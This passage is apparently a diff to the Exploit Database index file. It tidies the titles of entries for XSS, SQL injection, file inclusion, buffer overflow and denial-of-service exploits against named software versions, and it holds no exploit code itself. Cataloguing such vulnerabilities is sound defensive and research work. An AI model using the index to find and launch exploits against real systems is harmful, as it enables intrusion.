 26878,platforms/php/webapps/26878.txt,"Caravel CMS 3.0 Beta 1 Multiple Cross-Site Scripting Vulnerabilities",2005-12-19,r0t3d3Vil,php,webapps,0
@@ -23969,12 +23969,12 @@ id,file,description,date,author,platform,type,port
 26885,platforms/php/webapps/26885.txt,"Lighthouse CMS 1.1 Search Cross-Site Scripting Vulnerability",2005-12-19,r0t3d3Vil,php,webapps,0
 26886,platforms/linux/dos/26886.pl,"Squid 3.3.5 - DoS PoC",2013-07-16,Kingcope,linux,dos,0
 26887,platforms/linux/dos/26887.rb,"rpcbind (CALLIT Procedure) UDP Crash PoC",2013-07-16,"Sean Verity",linux,dos,0
-26888,platforms/hardware/webapps/26888.txt,"FTP Sprite v1.2.1 iOS - Persistent XSS Vulnerability",2013-07-16,Vulnerability-Lab,hardware,webapps,0
+26888,platforms/hardware/webapps/26888.txt,"FTP Sprite 1.2.1 iOS - Persistent XSS Vulnerability",2013-07-16,Vulnerability-Lab,hardware,webapps,0
 26889,platforms/windows/local/26889.pl,"BlazeDVD Pro player 6.1 - Stack Based Buffer Overflow (Direct Ret)",2013-07-16,PuN1sh3r,windows,local,0
 26890,platforms/hardware/webapps/26890.txt,"Olive File Manager 1.0.1 iOS - Multiple Vulnerabilities",2013-07-16,Vulnerability-Lab,hardware,webapps,0
-26891,platforms/windows/dos/26891.py,"Light Audio Mixer Version 1.0.12 (.wav) - Crash POC",2013-07-16,ariarat,windows,dos,0
-26892,platforms/windows/dos/26892.py,"Kate's Video Toolkit Version 7.0 (.wav) - Crash POC",2013-07-16,ariarat,windows,dos,0
-26893,platforms/php/webapps/26893.txt,"Dell Kace 1000 SMA v5.4.70402 - Persistent XSS Vulnerabilities",2013-07-16,Vulnerability-Lab,php,webapps,0
+26891,platforms/windows/dos/26891.py,"Light Audio Mixer 1.0.12 - (.wav) Crash POC",2013-07-16,ariarat,windows,dos,0
+26892,platforms/windows/dos/26892.py,"Kate's Video Toolkit 7.0 - (.wav) Crash POC",2013-07-16,ariarat,windows,dos,0
+26893,platforms/php/webapps/26893.txt,"Dell Kace 1000 SMA 5.4.70402 - Persistent XSS Vulnerabilities",2013-07-16,Vulnerability-Lab,php,webapps,0
 26894,platforms/php/webapps/26894.txt,"Saurus CMS 4.7.1 - Multiple Vulnerabilities",2013-07-16,waraxe,php,webapps,0
 26895,platforms/php/webapps/26895.txt,"Magnolia Search Module 2.1 Cross-Site Scripting Vulnerability",2005-12-19,r0t3d3Vil,php,webapps,0
 26896,platforms/php/webapps/26896.txt,"ContentServ 3.0/3.1/4.0 Index.PHP SQL Injection Vulnerability",2005-12-19,r0t,php,webapps,0
@@ -24032,10 +24032,10 @@ id,file,description,date,author,platform,type,port
 26948,platforms/asp/webapps/26948.txt,"Sitekit CMS 6.6 Request-call-back.html ClickFrom Parameter XSS",2005-12-21,r0t3d3Vil,asp,webapps,0
 26949,platforms/asp/webapps/26949.txt,"Sitekit CMS 6.6 registration-form.html ClickFrom Parameter XSS",2005-12-21,r0t3d3Vil,asp,webapps,0
 26950,platforms/windows/local/26950.c,"Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation",2013-07-18,MJ0011,windows,local,0
-26951,platforms/windows/dos/26951.py,"Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC",2013-07-18,ariarat,windows,dos,0
+26951,platforms/windows/dos/26951.py,"Windows Movie Maker 2.1.4026.0 - (.wav) Crash POC",2013-07-18,ariarat,windows,dos,0
 26952,platforms/hardware/webapps/26952.txt,"WiFly 1.0 Pro iOS - Multiple Vulnerabilities",2013-07-18,Vulnerability-Lab,hardware,webapps,0
-26953,platforms/hardware/webapps/26953.txt,"Flux Player v3.1.0 iOS - Multiple Vulnerabilities",2013-07-18,Vulnerability-Lab,hardware,webapps,0
-26954,platforms/hardware/webapps/26954.txt,"ePhoto Transfer v1.2.1 iOS - Multiple Vulnerabilities",2013-07-18,Vulnerability-Lab,hardware,webapps,0
+26953,platforms/hardware/webapps/26953.txt,"Flux Player 3.1.0 iOS - Multiple Vulnerabilities",2013-07-18,Vulnerability-Lab,hardware,webapps,0
+26954,platforms/hardware/webapps/26954.txt,"ePhoto Transfer 1.2.1 iOS - Multiple Vulnerabilities",2013-07-18,Vulnerability-Lab,hardware,webapps,0
 26955,platforms/php/webapps/26955.txt,"Xibo 1.2.2 and 1.4.1 (index.php, p param) - Directory Traversal Vulnerability",2013-07-18,Mahendra,php,webapps,0
 26956,platforms/windows/webapps/26956.txt,"Dell PacketTrap MSP RMM 6.6.x - Multiple XSS Vulnerabilities",2013-07-18,Vulnerability-Lab,windows,webapps,0
 26957,platforms/windows/webapps/26957.txt,"Dell PacketTrap PSA 7.1 - Multiple XSS Vulnerabilities",2013-07-18,Vulnerability-Lab,windows,webapps,0
@@ -24065,7 +24065,7 @@ id,file,description,date,author,platform,type,port
 26981,platforms/php/webapps/26981.txt,"IceWarp Universal WebMail /dir/include.html lang Parameter Local File Inclusion",2005-12-27,"Tan Chew Keong",php,webapps,0
 26982,platforms/php/webapps/26982.txt,"IceWarp Universal WebMail /mail/settings.html Language Parameter Local File Inclusion",2005-12-27,"Tan Chew Keong",php,webapps,0
 26983,platforms/php/webapps/26983.txt,"IceWarp Universal WebMail /mail/index.html lang_settings Parameter Remote File Inclusion",2005-12-27,"Tan Chew Keong",php,webapps,0
-26984,platforms/php/webapps/26984.txt,"IceWarp Universal WebMail /mail/include.html Crafted HTTP_USER_AGENT Arbitrary File Access",2005-12-27,"Tan Chew Keong",php,webapps,0
+26984,platforms/php/webapps/26984.txt,"IceWarp Universal WebMail /mail/include.html - Crafted HTTP_USER_AGENT Arbitrary File Access",2005-12-27,"Tan Chew Keong",php,webapps,0
 26985,platforms/windows/dos/26985.txt,"Microsoft Internet Explorer 5.0.1 HTML Parsing Denial of Service Vulnerabilities",2005-12-27,"Christian Deneke",windows,dos,0
 26986,platforms/cfm/webapps/26986.txt,"PaperThin CommonSpot Content Server 4.5 Cross-Site Scripting Vulnerability",2005-12-23,r0t3d3Vil,cfm,webapps,0
 26987,platforms/java/webapps/26987.txt,"FatWire UpdateEngine 6.2 Multiple Cross-Site Scripting Vulnerabilities",2005-12-27,r0t3d3Vil,java,webapps,0
@@ -24139,7 +24139,7 @@ id,file,description,date,author,platform,type,port
 27058,platforms/php/webapps/27058.txt,"PHPNuke 7.7 EV Search Module SQL Injection Vulnerability",2006-01-09,Lostmon,php,webapps,0
 27059,platforms/php/webapps/27059.txt,"Xoops Pool Module IMG Tag HTML Injection Vulnerability",2006-01-09,night_warrior771,php,webapps,0
 27060,platforms/php/webapps/27060.txt,"PHP-Nuke News Submission Story Text Field XSS",2006-01-09,night_warrior771,php,webapps,0
-27061,platforms/cgi/webapps/27061.txt,"Hummingbird Collaboration Crafted URL File Property Obscuration Download",2006-01-10,"Luca Carettoni",cgi,webapps,0
+27061,platforms/cgi/webapps/27061.txt,"Hummingbird Collaboration - Crafted URL File Property Obscuration Download",2006-01-10,"Luca Carettoni",cgi,webapps,0
 27062,platforms/cgi/webapps/27062.txt,"Hummingbird Collaboration Application Cookie Internal Network Information Disclosure",2006-01-10,"Luca Carettoni",cgi,webapps,0
 27063,platforms/asp/webapps/27063.txt,"WebWiz Forums Search_form.ASP Cross-Site Scripting Vulnerability",2006-01-10,nukedx,asp,webapps,0
 27064,platforms/php/webapps/27064.txt,"Orjinweb Index.PHP Remote File Include Vulnerability",2006-01-10,serxwebun,php,webapps,0
@@ -24217,7 +24217,7 @@ id,file,description,date,author,platform,type,port
 27137,platforms/php/webapps/27137.txt,"MyBB 1.0.2 Multiple Cross-Site Scripting Vulnerabilities",2005-12-26,imei,php,webapps,0
 27138,platforms/php/webapps/27138.txt,"AndoNET Blog 2004.9.2 Comentarios.PHP SQL Injection Vulnerability",2006-01-26,"Aliaksandr Hartsuyeu",php,webapps,0
 27139,platforms/php/webapps/27139.txt,"My Little Homepage Products BBCode Link Tag Script Injection Vulnerability",2006-01-26,"Aliaksandr Hartsuyeu",php,webapps,0
-27140,platforms/multiple/dos/27140.txt,"Exiv2 Corrupted EXIF Data Denial Of Service Vulnerability",2006-01-26,"Maciek Wierciski",multiple,dos,0
+27140,platforms/multiple/dos/27140.txt,"Exiv2 - Corrupted EXIF Data Denial Of Service Vulnerability",2006-01-26,"Maciek Wierciski",multiple,dos,0
 27141,platforms/cgi/webapps/27141.txt,"Elido Face Control 0 Multiple Directory Traversal Vulnerabilities",2006-01-26,"HSC Security Group",cgi,webapps,0
 27142,platforms/asp/webapps/27142.txt,"ASPThai Forums 8.0 Login.ASP SQL Injection Vulnerability",2006-01-19,code.shell,asp,webapps,0
 27143,platforms/asp/webapps/27143.txt,"ZixForum 1.12 Forum.ASP Multiple SQL Injection Vulnerabilities",2005-12-15,"Tran Viet Phuong",asp,webapps,0
@@ -24388,7 +24388,7 @@ id,file,description,date,author,platform,type,port
 27313,platforms/php/webapps/27313.txt,"DCI-Taskeen 1.03 basket.php Multiple Parameter SQL Injection",2006-02-25,Linux_Drox,php,webapps,0
 27314,platforms/php/webapps/27314.txt,"DCI-Taskeen 1.03 cat.php Multiple Parameter SQL Injection",2006-02-25,Linux_Drox,php,webapps,0
 27315,platforms/php/webapps/27315.txt,"RiteCMS 1.0.0 - Multiple Vulnerabilities",2013-08-03,"Yashar shahinzadeh",php,webapps,0
-27316,platforms/windows/local/27316.py,"Easy LAN Folder Share Version 3.2.0.100 - Buffer Overflow Exploit (SEH)",2013-08-03,sagi-,windows,local,0
+27316,platforms/windows/local/27316.py,"Easy LAN Folder Share 3.2.0.100 - Buffer Overflow Exploit (SEH)",2013-08-03,sagi-,windows,local,0
 27317,platforms/windows/dos/27317.txt,"StarUML WinGraphviz.dll - ActiveX Buffer Overflow Vulnerability",2013-08-03,d3b4g,windows,dos,0
 27318,platforms/php/webapps/27318.txt,"PHP-Nuke 7.8 Mainfile.PHP SQL Injection Vulnerability",2006-02-25,waraxe,php,webapps,0
 27319,platforms/hardware/remote/27319.txt,"Thomson SpeedTouch 500 Series NewUser Function 31 Variable Persistent User Creation",2006-02-25,"Preben Nylokken",hardware,remote,0
@@ -24410,8 +24410,8 @@ id,file,description,date,author,platform,type,port
 27335,platforms/php/local/27335.txt,"PHP 4.x/5.0/5.1 mb_send_mail() Function Parameter Restriction Bypass",2006-02-28,ced.clerget@free.fr,php,local,0
 27336,platforms/php/webapps/27336.txt,"EJ3 TOPo 2.2.178 Inc_header.PHP Cross-Site Scripting Vulnerability",2006-02-28,"Yunus Emre Yilmaz",php,webapps,0
 27337,platforms/php/webapps/27337.txt,"Mozilla Thunderbird 1.5 Multiple Remote Information Disclosure Vulnerabilities",2006-02-28,Crashfr,php,webapps,0
-27338,platforms/php/webapps/27338.txt,"PEHEPE Membership Management System v3 Sol_menu.PHP Cross-Site Scripting Vulnerability",2006-02-26,"Yunus Emre Yilmaz",php,webapps,0
-27339,platforms/php/webapps/27339.txt,"PEHEPE Membership Management System v3 Remote PHP Script Code Injection Vulnerability",2006-02-28,"Yunus Emre Yilmaz",php,webapps,0
+27338,platforms/php/webapps/27338.txt,"PEHEPE Membership Management System 3.0 - Sol_menu.PHP Cross-Site Scripting Vulnerability",2006-02-26,"Yunus Emre Yilmaz",php,webapps,0
+27339,platforms/php/webapps/27339.txt,"PEHEPE Membership Management System 3.0 - Remote PHP Script Code Injection Vulnerability",2006-02-28,"Yunus Emre Yilmaz",php,webapps,0
 27340,platforms/php/webapps/27340.txt,"SMBlog 1.2 Arbitrary PHP Command Execution Vulnerability",2006-03-01,botan,php,webapps,0
 27341,platforms/php/webapps/27341.txt,"DCI-Designs Dawaween 1.03 Poems.PHP SQL Injection Vulnerability",2006-03-02,sherba,php,webapps,0
 27342,platforms/php/webapps/27342.txt,"PluggedOut Nexus 0.1 forgotten_password.PHP SQL Injection Vulnerability",2006-03-02,"Hamid Ebadi",php,webapps,0
@@ -24447,7 +24447,7 @@ id,file,description,date,author,platform,type,port
 27373,platforms/php/webapps/27373.txt,"TextfileBB 1.0 Multiple Cross-Site Scripting Vulnerabilities",2006-03-08,Retard,php,webapps,0
 27374,platforms/php/webapps/27374.txt,"sBlog 0.7.2 search.php keyword Variable POST Method XSS",2006-03-09,Kiki,php,webapps,0
 27375,platforms/php/webapps/27375.txt,"sBlog 0.7.2 comments_do.php Multiple Variable POST Method XSS",2006-03-09,Kiki,php,webapps,0
-27376,platforms/hardware/webapps/27376.txt,"FTP OnConnect v1.4.11 iOS - Multiple Vulnerabilities",2013-08-07,Vulnerability-Lab,hardware,webapps,0
+27376,platforms/hardware/webapps/27376.txt,"FTP OnConnect 1.4.11 iOS - Multiple Vulnerabilities",2013-08-07,Vulnerability-Lab,hardware,webapps,0
 27377,platforms/windows/dos/27377.txt,"Easy File Sharing Web Server 3.2 Format String DoS",2006-03-09,"Revnic Vasile",windows,dos,0
 27378,platforms/windows/remote/27378.txt,"Easy File Sharing Web Server 3.2 Full Path Request Arbitrary File Upload",2006-03-09,"Revnic Vasile",windows,remote,0
 27379,platforms/php/webapps/27379.txt,"ADP Forum 2.0.x Subject Field HTML Injection Vulnerability",2006-03-09,liz0,php,webapps,0
@@ -24716,8 +24716,8 @@ id,file,description,date,author,platform,type,port
 27650,platforms/php/webapps/27650.txt,"FarsiNews 2.1/2.5 Search.PHP Cross-Site Scripting Vulnerability",2006-04-14,"amin emami",php,webapps,0
 27651,platforms/php/webapps/27651.txt,"Tiny Web Gallery 1.4 Index.PHP Cross-Site Scripting Vulnerability",2006-04-15,Qex,php,webapps,0
 27652,platforms/php/webapps/27652.txt,"Quack Chat 1.0 - Multiple Vulnerabilities",2013-08-17,"Dylan Irzi",php,webapps,80
-27655,platforms/hardware/webapps/27655.txt,"Copy to WebDAV v1.1 iOS - Multiple Vulnerabilities",2013-08-17,Vulnerability-Lab,hardware,webapps,0
-27656,platforms/hardware/webapps/27656.txt,"Photo Transfer Upload v1.0 iOS - Multiple Vulnerabilities",2013-08-17,Vulnerability-Lab,hardware,webapps,0
+27655,platforms/hardware/webapps/27655.txt,"Copy to WebDAV 1.1 iOS - Multiple Vulnerabilities",2013-08-17,Vulnerability-Lab,hardware,webapps,0
+27656,platforms/hardware/webapps/27656.txt,"Photo Transfer Upload 1.0 iOS - Multiple Vulnerabilities",2013-08-17,Vulnerability-Lab,hardware,webapps,0
 27658,platforms/php/webapps/27658.txt,"PHPGuestbook 0.0.2/1.0 HTML Injection Vulnerability",2006-04-15,Qex,php,webapps,0
 27659,platforms/php/webapps/27659.txt,"phpFaber TopSites Index.PHP Cross-Site Scripting Vulnerability",2006-04-17,botan,php,webapps,0
 27660,platforms/php/webapps/27660.txt,"Monster Top List 1.4 Functions.PHP Remote File Include Vulnerability",2006-04-17,r0t,php,webapps,0
@@ -24734,7 +24734,7 @@ id,file,description,date,author,platform,type,port
 27671,platforms/php/webapps/27671.txt,"LinPHA 1.1 Multiple Cross-Site Scripting Vulnerabilities",2006-04-18,d4igoro,php,webapps,0
 27672,platforms/cgi/webapps/27672.txt,"axoverzicht.CGI Cross-Site Scripting Vulnerability",2006-04-18,Qex,cgi,webapps,0
 27673,platforms/php/webapps/27673.txt,"phpLinks 2.1.2/2.1.3 Index.PHP Cross-Site Scripting Vulnerability",2006-04-18,r0t,php,webapps,0
-27674,platforms/php/webapps/27674.txt,"RechnungsZentrale V2 1.1.3 Authent.PHP4 SQL Injection Vulnerability",2006-04-18,"GroundZero Security",php,webapps,0
+27674,platforms/php/webapps/27674.txt,"RechnungsZentrale 2 1.1.3 - Authent.PHP4 SQL Injection Vulnerability",2006-04-18,"GroundZero Security",php,webapps,0
 27675,platforms/php/webapps/27675.txt,"PHPLister 0.4.1 Index.PHP Cross-Site Scripting Vulnerability",2006-04-18,botan,php,webapps,0
 27676,platforms/php/webapps/27676.txt,"CutePHP CuteNews 1.4.1 Editnews Module Cross-Site Scripting Vulnerability",2006-04-19,LoK-Crew,php,webapps,0
 27677,platforms/php/webapps/27677.txt,"Article Publisher 1.0.1 Pro Multiple SQL Injection Vulnerabilities",2006-04-19,r0t,php,webapps,0
@@ -24770,7 +24770,7 @@ id,file,description,date,author,platform,type,port
 27711,platforms/php/shellcode/27711.txt,"ThWboard 3.0 Index.PHP Cross-Site Scripting Vulnerability",2006-04-20,"CrAzY CrAcKeR",php,shellcode,0
 27712,platforms/cgi/webapps/27712.txt,"Portal Pack 6.0 Multiple Cross-Site Scripting Vulnerabilities",2006-04-20,r0t,cgi,webapps,0
 27713,platforms/php/webapps/27713.txt,"Manic Web MWGuest 2.1 MWguest.PHP HTML Injection Vulnerability",2006-04-20,"Aliaksandr Hartsuyeu",php,webapps,0
-27714,platforms/osx/dos/27714.txt,"Apple Mac OS X 10.x LZWDecodeVector Crafted TIFF Overflow",2006-04-20,"Tom Ferris",osx,dos,0
+27714,platforms/osx/dos/27714.txt,"Apple Mac OS X 10.x - LZWDecodeVector (.tiff) Overflow",2006-04-20,"Tom Ferris",osx,dos,0
 27715,platforms/osx/dos/27715.txt,"Apple Mac OS X 10.x .zip Parsing BOMStackPop() Function Overflow",2006-04-20,"Tom Ferris",osx,dos,0
 27716,platforms/multiple/remote/27716.txt,"Asterisk Recording Interface 0.7.15 Audio.PHP Information Disclosure Vulnerability",2006-04-21,"Francois Harvey",multiple,remote,0
 27717,platforms/php/webapps/27717.txt,"phpldapadmin 0.9.8 compare_form.php dn Parameter XSS",2006-04-21,r0t,php,webapps,0
@@ -24855,11 +24855,11 @@ id,file,description,date,author,platform,type,port
 27798,platforms/php/webapps/27798.txt,"GeoBlog MOD_1.0 Viewcat.PHP Cross-Site Scripting Vulnerability",2006-05-02,SubjectZero,php,webapps,0
 27799,platforms/php/webapps/27799.txt,"Virtual Hosting Control System 2.4.7 .1 Server_day_stats.PHP Multiple Cross-Site Scripting Vulnerabilities",2006-05-02,O.U.T.L.A.W,php,webapps,0
 27800,platforms/php/webapps/27800.txt,"Pinnacle Cart 3.3 Index.PHP Cross-Site Scripting Vulnerability",2006-05-02,r0t,php,webapps,0
-27801,platforms/linux/remote/27801.txt,"Quagga Routing Software Suite 0.9x RIPd RIPv1 Request Routing Table Disclosure",2006-05-03,"Konstantin V. Gavrilenko",linux,remote,0
-27802,platforms/linux/remote/27802.txt,"Quagga Routing Software Suite 0.9x RIPd RIPv1 RESPONSE Packet Route Injection",2006-05-03,"Konstantin V. Gavrilenko",linux,remote,0
+27801,platforms/linux/remote/27801.txt,"Quagga Routing Software Suite 0.9x - RIPd RIPv1 Request Routing Table Disclosure",2006-05-03,"Konstantin V. Gavrilenko",linux,remote,0
+27802,platforms/linux/remote/27802.txt,"Quagga Routing Software Suite 0.9x - RIPd RIPv1 RESPONSE Packet Route Injection",2006-05-03,"Konstantin V. Gavrilenko",linux,remote,0
 27803,platforms/php/webapps/27803.txt,"321soft PhP-Gallery 0.9 index.php path Variable Arbitrary Directory Listing",2006-05-03,d4igoro,php,webapps,0
 27804,platforms/php/webapps/27804.txt,"321soft PhP-Gallery 0.9 index.php path Parameter XSS",2006-05-03,d4igoro,php,webapps,0
-27805,platforms/windows/remote/27805.py,"dreamMail e-mail client v4.6.9.2 Stored XSS",2013-08-23,loneferret,windows,remote,0
+27805,platforms/windows/remote/27805.py,"dreamMail e-mail client 4.6.9.2 - Stored XSS",2013-08-23,loneferret,windows,remote,0
 27806,platforms/windows/remote/27806.txt,"BankTown ActiveX Control 1.4.2 .51817/1.5.2 .50209 Remote Buffer Overflow Vulnerability",2006-05-03,"Gyu Tae",windows,remote,0
 27807,platforms/php/webapps/27807.txt,"Fast Click SQL Lite 1.1.2/1.1.3 Show.PHP Remote File Include Vulnerability",2006-05-03,R@1D3N,php,webapps,0
 27808,platforms/php/webapps/27808.txt,"Pacheckbook 1.1 Index.PHP Multiple SQL Injection Vulnerabilities",2006-05-03,almaster,php,webapps,0
@@ -24980,7 +24980,7 @@ id,file,description,date,author,platform,type,port
 27923,platforms/hardware/remote/27923.txt,"D-Link Airspot DSA-3100 Gateway Login_error.SHTML Cross-Site Scripting Vulnerability",2006-05-30,"Jaime Blasco",hardware,remote,0
 27924,platforms/php/webapps/27924.txt,"ToendaCMS 0.7 Index.PHP Cross-Site Scripting Vulnerability",2006-05-31,Jokubas,php,webapps,0
 27925,platforms/linux/dos/27925.txt,"Linux Kernel 2.6.x Proc dentry_unused Corruption Local Denial of Service Vulnerability",2006-05-31,"Tony Griffiths",linux,dos,0
-27926,platforms/php/webapps/27926.txt,"PHPMyDesktop|arcade 1.0 Index.PHP Local File Include Vulnerability",2006-05-31,darkgod,php,webapps,0
+27926,platforms/php/webapps/27926.txt,"PHPMyDesktop/Arcade 1.0 - Index.PHP Local File Include Vulnerability",2006-05-31,darkgod,php,webapps,0
 27927,platforms/php/webapps/27927.txt,"PHP-Nuke 7.x Multiple Remote File Include Vulnerabilities",2005-05-31,ERNE,php,webapps,0
 27928,platforms/php/webapps/27928.txt,"OSTicket 1.x Open_form.PHP Remote File Include Vulnerability",2006-05-31,Sweet,php,webapps,0
 27929,platforms/php/webapps/27929.txt,"vBulletin 3.0.10 Portal.PHP SQL Injection Vulnerability",2006-05-31,SpC-x,php,webapps,0
@@ -25113,14 +25113,14 @@ id,file,description,date,author,platform,type,port
 28065,platforms/multiple/dos/28065.vmx,"VMware Player 1.0.1 Build 19317 Malformed VMX File Denial of Service Vulnerability",2006-06-19,n00b,multiple,dos,0
 28066,platforms/php/webapps/28066.txt,"singapore 0.9.x/0.10 Multiple Parameter Traversal Arbitrary File Access",2006-06-19,simo64,php,webapps,0
 28067,platforms/php/webapps/28067.txt,"singapore 0.9.x/0.10 index.php template Parameter XSS",2006-06-19,simo64,php,webapps,0
-28068,platforms/php/webapps/28068.txt,"V3 Chat Instant Messenger mail/index.php id Parameter XSS",2006-06-20,Luny,php,webapps,0
-28069,platforms/php/webapps/28069.txt,"V3 Chat Instant Messenger mail/reply.php id Parameter XSS",2006-06-20,Luny,php,webapps,0
-28070,platforms/php/webapps/28070.txt,"V3 Chat Instant Messenger online.php site_id Parameter XSS",2006-06-20,Luny,php,webapps,0
-28071,platforms/php/webapps/28071.txt,"V3 Chat Instant Messenger search.php Multiple Parameter XSS",2006-06-20,Luny,php,webapps,0
-28072,platforms/php/webapps/28072.txt,"V3 Chat Instant Messenger profile.php site_id Parameter XSS",2006-06-20,Luny,php,webapps,0
-28073,platforms/php/webapps/28073.txt,"V3 Chat Instant Messenger profileview.php membername Parameter XSS",2006-06-20,Luny,php,webapps,0
-28074,platforms/php/webapps/28074.txt,"V3 Chat Instant Messenger expire.php cust_name Parameter XSS",2006-06-20,Luny,php,webapps,0
-28075,platforms/php/webapps/28075.txt,"V3 Chat Instant Messenger mycontacts.php membername Arbitrary User Buddy List Manipulation",2006-06-20,Luny,php,webapps,0
+28068,platforms/php/webapps/28068.txt,"V3 Chat Instant Messenger - mail/index.php id Parameter XSS",2006-06-20,Luny,php,webapps,0
+28069,platforms/php/webapps/28069.txt,"V3 Chat Instant Messenger - mail/reply.php id Parameter XSS",2006-06-20,Luny,php,webapps,0
+28070,platforms/php/webapps/28070.txt,"V3 Chat Instant Messenger - online.php site_id Parameter XSS",2006-06-20,Luny,php,webapps,0
+28071,platforms/php/webapps/28071.txt,"V3 Chat Instant Messenger - search.php Multiple Parameter XSS",2006-06-20,Luny,php,webapps,0
+28072,platforms/php/webapps/28072.txt,"V3 Chat Instant Messenger - profile.php site_id Parameter XSS",2006-06-20,Luny,php,webapps,0
+28073,platforms/php/webapps/28073.txt,"V3 Chat Instant Messenger - profileview.php membername Parameter XSS",2006-06-20,Luny,php,webapps,0
+28074,platforms/php/webapps/28074.txt,"V3 Chat Instant Messenger - expire.php cust_name Parameter XSS",2006-06-20,Luny,php,webapps,0
+28075,platforms/php/webapps/28075.txt,"V3 Chat Instant Messenger - mycontacts.php membername Arbitrary User Buddy List Manipulation",2006-06-20,Luny,php,webapps,0
 28076,platforms/php/webapps/28076.txt,"Vbulletin 3.0.9/3.5.x Member.PHP Cross-Site Scripting Vulnerability",2006-06-20,CrAzY.CrAcKeR,php,webapps,0
 28077,platforms/linux/dos/28077.txt,"GnuPG 1.4.3/1.9.x Parse_User_ID Remote Buffer Overflow Vulnerability",2006-06-20,"Evgeny Legerov",linux,dos,0
 28078,platforms/php/webapps/28078.txt,"e107 0.7.5 Subject field HTML injection Vulnerability",2006-06-21,"EllipSiS Security",php,webapps,0
@@ -25180,7 +25180,7 @@ id,file,description,date,author,platform,type,port
 28133,platforms/php/webapps/28133.txt,"newsPHP 2006 PRO index.php Multiple Parameter SQL Injection",2006-06-29,securityconnection,php,webapps,0
 28134,platforms/php/webapps/28134.txt,"newsPHP 2006 PRO inc/rss_feed.php category Parameter SQL Injection",2006-06-29,securityconnection,php,webapps,0
 28135,platforms/osx/dos/28135.pl,"Apple Mac OS X 10.4.x OpenLDAP Denial Of Service Vulnerability",2006-06-27,"Mu Security research",osx,dos,0
-28136,platforms/php/webapps/28136.pl,"Vincent-Leclercq News 5.2 Diver.PHP SQL Injection Vulnerability",2006-06-23,DarkFig,php,webapps,0
+28136,platforms/php/webapps/28136.pl,"Vincent-Leclercq News 5.2 - Diver.PHP SQL Injection Vulnerability",2006-06-23,DarkFig,php,webapps,0
 28137,platforms/php/webapps/28137.txt,"SoftBiz Banner Exchange Script 1.0 insertmember.php city Parameter XSS",2006-06-29,securityconnection,php,webapps,0
 28138,platforms/php/webapps/28138.txt,"SoftBiz Banner Exchange Script 1.0 lostpassword.php PHPSESSID Parameter XSS",2006-06-29,securityconnection,php,webapps,0
 28139,platforms/php/webapps/28139.txt,"SoftBiz Banner Exchange Script 1.0 gen_confirm_mem.php PHPSESSID Parameter XSS",2006-06-29,securityconnection,php,webapps,0
@@ -25204,7 +25204,7 @@ id,file,description,date,author,platform,type,port
 28157,platforms/php/webapps/28157.txt,"VirtuaStore 2.0 Password Parameter SQL Injection Vulnerability",2006-07-03,supermalhacao,php,webapps,0
 28158,platforms/php/webapps/28158.txt,"QTO File Manager 1.0 Multiple Cross-Site Scripting Vulnerabilities",2006-07-03,"EllipSiS Security",php,webapps,0
 28159,platforms/php/webapps/28159.txt,"Glossaire 1.7 Remote File Include Vulnerability",2006-07-03,"CrAzY CrAcKeR",php,webapps,0
-28160,platforms/linux/dos/28160.txt,"Gentoo-Specific MPG123 Malicious URI Remote Buffer Overflow Vulnerability",2006-07-03,"Horst Schirmeier",linux,dos,0
+28160,platforms/linux/dos/28160.txt,"Gentoo-Specific MPG123 - URI Remote Buffer Overflow Vulnerability",2006-07-03,"Horst Schirmeier",linux,dos,0
 28161,platforms/php/webapps/28161.txt,"PHPWebGallery 1.x Comments.PHP Cross-site Scripting Vulnerability",2006-07-04,iss4m,php,webapps,0
 28162,platforms/php/webapps/28162.txt,"Randshop 0.9.3/1.2 Index.PHP Remote File Include Vulnerability",2006-07-04,black-code,php,webapps,0
 28163,platforms/php/webapps/28163.txt,"PostNuke 0.6x/0.7x Multiple Cross-Site Scripting Vulnerabilities",2006-07-04,rgod,php,webapps,0
@@ -25225,7 +25225,7 @@ id,file,description,date,author,platform,type,port
 28180,platforms/php/webapps/28180.txt,"ATutor 1.5.x admin/fix_content.php submit Parameter XSS",2006-07-06,"Security News",php,webapps,0
 28181,platforms/linux/remote/28181.c,"AdPlug 2.0 Multiple Remote File Buffer Overflow Vulnerabilities",2006-07-06,"Luigi Auriemma",linux,remote,0
 28182,platforms/multiple/dos/28182.java,"MICO Object Key 2.3.12 Remote Denial of Service Vulnerability",2006-07-06,tuergeist,multiple,dos,0
-28183,platforms/windows/remote/28183.py,"eM Client e-mail client v5.0.18025.0 Stored XSS vulnerability",2013-09-10,loneferret,windows,remote,0
+28183,platforms/windows/remote/28183.py,"eM Client e-mail client 5.0.18025.0 - Stored XSS vulnerability",2013-09-10,loneferret,windows,remote,0
 28184,platforms/hardware/webapps/28184.txt,"D-Link DIR-505 1.06 - Multiple Vulnerabilities",2013-09-10,"Alessandro Di Pinto",hardware,webapps,0
 28185,platforms/php/webapps/28185.txt,"glFusion 1.3.0 (search.php, cat_id param) - SQL Injection",2013-09-10,"Omar Kurt",php,webapps,0
 28186,platforms/windows/remote/28186.c,"Kaillera 0.86 Message Buffer Overflow Vulnerability",2006-07-06,"Luigi Auriemma",windows,remote,0
@@ -25322,7 +25322,7 @@ id,file,description,date,author,platform,type,port
 28280,platforms/php/webapps/28280.txt,"wwwThreads Calendar.PHP Cross-Site Scripting Vulnerability",2006-07-26,l2odon,php,webapps,0
 28281,platforms/php/webapps/28281.txt,"phpbb-auction 1.x auction_room.php ar Parameter SQL Injection",2006-07-26,l2odon,php,webapps,0
 28282,platforms/php/webapps/28282.txt,"phpbb-auction 1.x auction_store.php u Parameter SQL Injection",2006-07-26,l2odon,php,webapps,0
-28283,platforms/hardware/webapps/28283.txt,"Zyxel Prestige 660H-61 ADSL Router  - RPSysAdmin.HTML Cross-Site Scripting Vulnerability",2006-07-27,jose.palanco,hardware,webapps,0
+28283,platforms/hardware/webapps/28283.txt,"Zyxel Prestige 660H-61 ADSL Router - RPSysAdmin.HTML Cross-Site Scripting Vulnerability",2006-07-27,jose.palanco,hardware,webapps,0
 28284,platforms/windows/remote/28284.html,"Mitsubishi MC-WorkX 8.02 ActiveX Control (IcoLaunch) File Execution",2013-09-15,Blake,windows,remote,0
 28285,platforms/php/webapps/28285.txt,"Zyxel Prestige 660H-61 ADSL Router RPSysAdmin.HTML Cross-Site Scripting Vulnerability",2006-07-27,jose.palanco,php,webapps,0
 28286,platforms/windows/dos/28286.txt,"Microsoft Internet Explorer 6.0 NDFXArtEffects Stack Overflow Vulnerability",2006-07-27,hdm,windows,dos,0
@@ -25348,7 +25348,7 @@ id,file,description,date,author,platform,type,port
